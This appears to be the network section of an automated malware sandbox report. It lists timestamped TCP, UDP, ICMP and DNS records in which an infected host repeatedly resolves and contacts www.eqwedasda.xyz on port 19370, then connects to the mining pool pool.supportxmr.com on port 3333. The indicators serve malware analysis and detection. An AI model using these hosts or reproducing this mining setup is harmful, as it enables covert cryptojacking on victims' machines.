Oct 17, 2024 18:22:10.874551058 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.879673958 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.923043966 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.929692984 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.954489946 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.959616899 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.976495028 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.981693983 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.987062931 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.992140055 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.996731043 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.996804953 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:11.031899929 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.022459984 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.027437925 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.027527094 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.028151035 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.033152103 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.061572075 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.066704988 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.120783091 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.125662088 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.162169933 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.167193890 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.206995010 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.211935997 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.243984938 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.249043941 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.329061031 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.334604025 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.406030893 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.411035061 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.449615955 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.454952955 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.491065979 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.496016026 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.522526979 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.527554989 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.548362970 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.553349018 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.569488049 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.574476957 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.621434927 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.626719952 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.656807899 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.661782026 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.676631927 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.681543112 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.700747967 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.706202030 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.716685057 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.721678019 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.722347975 CEST	19370	52343	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:16.722553015 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:16.815720081 CEST	52343	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:19.284796953 CEST	52344	3333	192.168.2.6	141.94.96.71
Oct 17, 2024 18:22:19.289967060 CEST	3333	52344	141.94.96.71	192.168.2.6
Oct 17, 2024 18:22:19.290035009 CEST	52344	3333	192.168.2.6	141.94.96.71
Oct 17, 2024 18:22:19.290265083 CEST	52344	3333	192.168.2.6	141.94.96.71
Oct 17, 2024 18:22:19.295253038 CEST	3333	52344	141.94.96.71	192.168.2.6
Oct 17, 2024 18:22:20.158380985 CEST	3333	52344	141.94.96.71	192.168.2.6
Oct 17, 2024 18:22:20.323199987 CEST	52344	3333	192.168.2.6	141.94.96.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 18:18:13.199888945 CEST	55412	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:13.349060059 CEST	53	55412	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:19.325233936 CEST	53628	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:19.346010923 CEST	53	53628	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:25.165621042 CEST	61644	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:25.189049959 CEST	53	61644	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:30.917334080 CEST	56929	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:30.939593077 CEST	53	56929	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:37.100811005 CEST	60136	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:37.135818005 CEST	53	60136	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:42.954370022 CEST	64555	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:42.969978094 CEST	53	64555	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:48.733486891 CEST	58565	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:48.874986887 CEST	53	58565	1.1.1.1	192.168.2.6
Oct 17, 2024 18:18:54.845324993 CEST	60728	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:18:54.872513056 CEST	53	60728	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:00.577191114 CEST	50550	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:00.595627069 CEST	53	50550	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:06.327011108 CEST	59836	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:06.365505934 CEST	53	59836	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:12.155348063 CEST	58894	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:12.182133913 CEST	53	58894	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:18.061146021 CEST	58222	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:18.075762033 CEST	53	58222	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:23.807566881 CEST	58302	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:23.823472977 CEST	53	58302	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:29.545571089 CEST	53680	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:29.558806896 CEST	53	53680	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:35.328591108 CEST	54125	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:35.345066071 CEST	53	54125	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:41.170011044 CEST	49697	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:41.182192087 CEST	53	49697	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:46.906878948 CEST	58983	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:46.919740915 CEST	53	58983	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:52.855303049 CEST	52757	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:52.881840944 CEST	53	52757	1.1.1.1	192.168.2.6
Oct 17, 2024 18:19:58.679843903 CEST	63074	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:19:58.699836969 CEST	53	63074	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:04.529980898 CEST	49600	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:05.076967955 CEST	53	49600	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:11.011396885 CEST	57785	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:11.019284010 CEST	53	57785	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:16.764709949 CEST	60435	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:16.778084040 CEST	53	60435	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:23.329349041 CEST	65058	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:23.345412970 CEST	53	65058	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:29.092989922 CEST	61320	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:29.108458996 CEST	53	61320	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:35.056406021 CEST	51060	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:35.083870888 CEST	53	51060	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:40.781337023 CEST	60902	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:40.806499958 CEST	53	60902	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:46.711587906 CEST	50086	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:46.725071907 CEST	53	50086	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:52.446827888 CEST	51024	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:52.455854893 CEST	53	51024	1.1.1.1	192.168.2.6
Oct 17, 2024 18:20:58.189565897 CEST	64948	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:20:58.197208881 CEST	53	64948	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:05.020942926 CEST	55904	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:05.046834946 CEST	53	55904	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:12.185595036 CEST	56899	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:12.207751036 CEST	53	56899	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:18.036032915 CEST	59540	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:18.071336031 CEST	53	59540	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:23.812479973 CEST	52924	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:23.833290100 CEST	53	52924	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:29.626349926 CEST	65051	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:29.634422064 CEST	53	65051	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:35.365322113 CEST	56868	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:35.373802900 CEST	53	56868	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:41.077676058 CEST	51154	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:41.341300011 CEST	53	51154	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:46.824171066 CEST	138	138	192.168.2.6	192.168.2.255
Oct 17, 2024 18:21:47.085830927 CEST	52736	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:47.093493938 CEST	53	52736	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:52.842027903 CEST	57882	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:52.853586912 CEST	53	57882	1.1.1.1	192.168.2.6
Oct 17, 2024 18:21:58.627091885 CEST	63505	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:21:58.638598919 CEST	53	63505	1.1.1.1	192.168.2.6
Oct 17, 2024 18:22:04.461335897 CEST	52076	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:22:04.486769915 CEST	53	52076	1.1.1.1	192.168.2.6
Oct 17, 2024 18:22:10.265861988 CEST	53051	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:22:10.273799896 CEST	53	53051	1.1.1.1	192.168.2.6
Oct 17, 2024 18:22:16.013426065 CEST	53665	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:22:16.021691084 CEST	53	53665	1.1.1.1	192.168.2.6
Oct 17, 2024 18:22:19.273967028 CEST	59596	53	192.168.2.6	1.1.1.1
Oct 17, 2024 18:22:19.281440973 CEST	53	59596	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 17, 2024 18:18:26.458264112 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:27.557738066 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:29.580265045 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:30.620258093 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:32.606658936 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:33.621025085 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:35.605832100 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:36.667237997 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:38.605525970 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:39.635994911 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:41.807832956 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:41.930537939 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:43.057832956 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:45.143800974 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:49.167094946 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable
Oct 17, 2024 18:18:57.167099953 CEST	192.168.2.1	192.168.2.6	827b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 18:18:13.199888945 CEST	192.168.2.6	1.1.1.1	0x8416	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:19.325233936 CEST	192.168.2.6	1.1.1.1	0x5b90	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:25.165621042 CEST	192.168.2.6	1.1.1.1	0x6e3e	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:30.917334080 CEST	192.168.2.6	1.1.1.1	0xc445	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:37.100811005 CEST	192.168.2.6	1.1.1.1	0xa1a5	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:42.954370022 CEST	192.168.2.6	1.1.1.1	0xbe36	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:48.733486891 CEST	192.168.2.6	1.1.1.1	0xca7a	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:54.845324993 CEST	192.168.2.6	1.1.1.1	0xaecb	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:00.577191114 CEST	192.168.2.6	1.1.1.1	0xee95	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:06.327011108 CEST	192.168.2.6	1.1.1.1	0xccfd	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:12.155348063 CEST	192.168.2.6	1.1.1.1	0xcd1c	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:18.061146021 CEST	192.168.2.6	1.1.1.1	0x1ac2	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:23.807566881 CEST	192.168.2.6	1.1.1.1	0xe47a	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:29.545571089 CEST	192.168.2.6	1.1.1.1	0xfd9e	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:35.328591108 CEST	192.168.2.6	1.1.1.1	0x8742	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:41.170011044 CEST	192.168.2.6	1.1.1.1	0xa4e	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:46.906878948 CEST	192.168.2.6	1.1.1.1	0xca0e	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:52.855303049 CEST	192.168.2.6	1.1.1.1	0x16a9	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:58.679843903 CEST	192.168.2.6	1.1.1.1	0x8596	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:04.529980898 CEST	192.168.2.6	1.1.1.1	0xf79a	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:11.011396885 CEST	192.168.2.6	1.1.1.1	0x31a6	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:16.764709949 CEST	192.168.2.6	1.1.1.1	0xbfe2	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:23.329349041 CEST	192.168.2.6	1.1.1.1	0x5fb9	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:29.092989922 CEST	192.168.2.6	1.1.1.1	0xf411	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:35.056406021 CEST	192.168.2.6	1.1.1.1	0x332d	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:40.781337023 CEST	192.168.2.6	1.1.1.1	0xcd89	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:46.711587906 CEST	192.168.2.6	1.1.1.1	0x101d	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:52.446827888 CEST	192.168.2.6	1.1.1.1	0x9387	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:58.189565897 CEST	192.168.2.6	1.1.1.1	0x3525	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:05.020942926 CEST	192.168.2.6	1.1.1.1	0xdd14	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:12.185595036 CEST	192.168.2.6	1.1.1.1	0x36c5	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:18.036032915 CEST	192.168.2.6	1.1.1.1	0xbb61	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:23.812479973 CEST	192.168.2.6	1.1.1.1	0x732b	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:29.626349926 CEST	192.168.2.6	1.1.1.1	0x3473	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:35.365322113 CEST	192.168.2.6	1.1.1.1	0x6f30	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:41.077676058 CEST	192.168.2.6	1.1.1.1	0xe55f	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:47.085830927 CEST	192.168.2.6	1.1.1.1	0x6bbb	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:52.842027903 CEST	192.168.2.6	1.1.1.1	0x4e21	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:58.627091885 CEST	192.168.2.6	1.1.1.1	0x82de	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:04.461335897 CEST	192.168.2.6	1.1.1.1	0x15db	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:10.265861988 CEST	192.168.2.6	1.1.1.1	0x190c	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:16.013426065 CEST	192.168.2.6	1.1.1.1	0xae62	Standard query (0)	www.eqwedasda.xyz	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:22:19.273967028 CEST	192.168.2.6	1.1.1.1	0x5711	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 18:18:13.349060059 CEST	1.1.1.1	192.168.2.6	0x8416	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:19.346010923 CEST	1.1.1.1	192.168.2.6	0x5b90	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:25.189049959 CEST	1.1.1.1	192.168.2.6	0x6e3e	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:30.939593077 CEST	1.1.1.1	192.168.2.6	0xc445	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:37.135818005 CEST	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:42.969978094 CEST	1.1.1.1	192.168.2.6	0xbe36	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:48.874986887 CEST	1.1.1.1	192.168.2.6	0xca7a	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:18:54.872513056 CEST	1.1.1.1	192.168.2.6	0xaecb	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:00.595627069 CEST	1.1.1.1	192.168.2.6	0xee95	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:06.365505934 CEST	1.1.1.1	192.168.2.6	0xccfd	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:12.182133913 CEST	1.1.1.1	192.168.2.6	0xcd1c	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:18.075762033 CEST	1.1.1.1	192.168.2.6	0x1ac2	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:23.823472977 CEST	1.1.1.1	192.168.2.6	0xe47a	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:29.558806896 CEST	1.1.1.1	192.168.2.6	0xfd9e	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:35.345066071 CEST	1.1.1.1	192.168.2.6	0x8742	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:41.182192087 CEST	1.1.1.1	192.168.2.6	0xa4e	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:46.919740915 CEST	1.1.1.1	192.168.2.6	0xca0e	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:52.881840944 CEST	1.1.1.1	192.168.2.6	0x16a9	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:19:58.699836969 CEST	1.1.1.1	192.168.2.6	0x8596	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:05.076967955 CEST	1.1.1.1	192.168.2.6	0xf79a	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:11.019284010 CEST	1.1.1.1	192.168.2.6	0x31a6	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:16.778084040 CEST	1.1.1.1	192.168.2.6	0xbfe2	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:23.345412970 CEST	1.1.1.1	192.168.2.6	0x5fb9	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:29.108458996 CEST	1.1.1.1	192.168.2.6	0xf411	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:35.083870888 CEST	1.1.1.1	192.168.2.6	0x332d	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:40.806499958 CEST	1.1.1.1	192.168.2.6	0xcd89	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:46.725071907 CEST	1.1.1.1	192.168.2.6	0x101d	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:52.455854893 CEST	1.1.1.1	192.168.2.6	0x9387	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:20:58.197208881 CEST	1.1.1.1	192.168.2.6	0x3525	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:05.046834946 CEST	1.1.1.1	192.168.2.6	0xdd14	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:12.207751036 CEST	1.1.1.1	192.168.2.6	0x36c5	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:18.071336031 CEST	1.1.1.1	192.168.2.6	0xbb61	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:23.833290100 CEST	1.1.1.1	192.168.2.6	0x732b	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:29.634422064 CEST	1.1.1.1	192.168.2.6	0x3473	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:35.373802900 CEST	1.1.1.1	192.168.2.6	0x6f30	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:41.341300011 CEST	1.1.1.1	192.168.2.6	0xe55f	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:21:47.093493938 CEST	1.1.1.1	192.168.2.6	0x6bbb	No error (0)	www.eqwedasda.xyz		150.138.72.102	A (IP address)	IN (0x0001)	false
